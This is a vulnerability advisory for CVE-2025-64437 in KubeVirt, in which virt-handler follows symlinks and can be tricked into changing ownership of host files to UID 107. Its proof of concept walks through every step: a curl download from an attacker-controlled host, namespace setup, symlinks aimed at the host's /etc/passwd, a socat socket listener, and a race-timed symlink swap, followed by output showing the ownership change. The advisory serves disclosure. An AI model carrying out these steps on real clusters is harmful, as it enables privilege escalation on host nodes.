CVE-2025-64437: KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes

Summary Short summary of the problem. Make the impact and severity as clear as possible.

It is possible to trick the virt-handler component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID 107 due to mishandling of symlinks when determining the root mount of a virt-launcher pod.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

In the current implementation, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod.

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:

1. A symbolic link (launcher-sock) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries. 2. Another symbolic link (disk.img) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem. 3. As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107.

It is assumed that an attacker has access to a virt-launcher pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the qemu user (UID=107). It is also assumed that they can create unprivileged user namespaces:

bash admin@minikube:~$ sysctl -w kernel.unprivilegedusernsclone=1

The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.

bash Download an container file system from an attacker-controlled location qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar Create a directory and extract the file system in it qemu-compromised@minikube:~$ mkdir rootfsalpine && tar -xf augmented-alpine.tar -C rootfsalpine Create a MOUNT and remapped USER namespace environment and execute a shell process in it qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs. The user is root in its new USER namesapce root@minikube:~$ mount --bind rootfsalpine rootfsalpine && cd rootfsalpine && mkdir hostfsroot Swap the current root of the process and store the old one within a directory root@minikube:~$ pivotroot . hostfsroot root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin Create the directory with the same path as the PVC mounted within the virt-launcher. In it virt-handler will search for a disk.img file associated with a volume mount root@minikube:~$ PVCPATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \ mkdir -p "${PVCPATH}" && \ cd "${PVCPATH}" Create the disk.img symlink pointing to /etc/passwd of the host in the old root mount directory root@minikube:~$ ln -sf ../../../../../../../../../../../../hostfsroot/etc/passwd disk.img Create the socket wich will confuse the isolator detector and start listening on it root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -

After the environment is set, the launcher-sock in the virt-launcher container should be replaced with a symlink to ../../../../../../../../../proc/2245509/root/tmp/bad.sock (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:

go //pkg/virt-handler/vm.go

func (c VirtualMachineController) vmUpdateHelperDefault(origVMI v1.VirtualMachineInstance, domainExists bool) error { // ... //!!! MK: the change should happen here before executing the below line !!! isolationRes, err := c.podIsolationDetector.Detect(vmi) if err != nil { return fmt.Errorf(failedDetectIsolationFmt, err) } virtLauncherRootMount, err := isolationRes.MountRoot() if err != nil { return err } // ...

// initialize disks images for empty PVC hostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount) // MK: here the permissions are changed err = hostDiskCreator.Create(vmi) if err != nil { return fmt.Errorf("preparing host-disks failed: %v", err) } // ...

The manifest of the #acr("vmi") which is going to trigger the bug is:

yaml The PVC will be used for the disk.img related bug apiVersion: v1 kind: PersistentVolumeClaim metadata: name: corrupted-pvc spec: accessModes: - ReadWriteMany resources: requests: storage: 500Mi --- apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: name: launcher-symlink-confusion spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: corrupted-pvc disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: corrupted-pvc persistentVolumeClaim: claimName: corrupted-pvc - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4=

Just before the line is executed, the attacker should replace the launcher-sock with a symlink to the bad.sock controlled by the isolated process:

bash the namespaced process controlled by the attacker has pid=2245509 qemu-compromised@minikube:~$ p=$(pgrep -af "/usr/bin/virt-launcher" | grep -v virt-launcher-monitor | awk '{print $1}') && ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock

Upon successful exploitation, virt-launcher connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's /etc/passwd file:

bash virt-launcher connects successfully root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr - ... 2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 "<anon>" on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010 2025/05/27 17:17:35 socat[2245509] N listening on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio 2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1] PRI HTTP/2.0

bash admin@minikube:~$ ls -al /etc/passwd -rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd

admin@minikube:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin apt:x:100:65534::/nonexistent:/usr/sbin/nologin rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin docker:x:1000:999:,,,:/home/docker:/bin/bash compromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash

The attacker controlling an unprivileged user can now update the contents of the file.

Impact What kind of vulnerability is it? Who is impacted?

This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.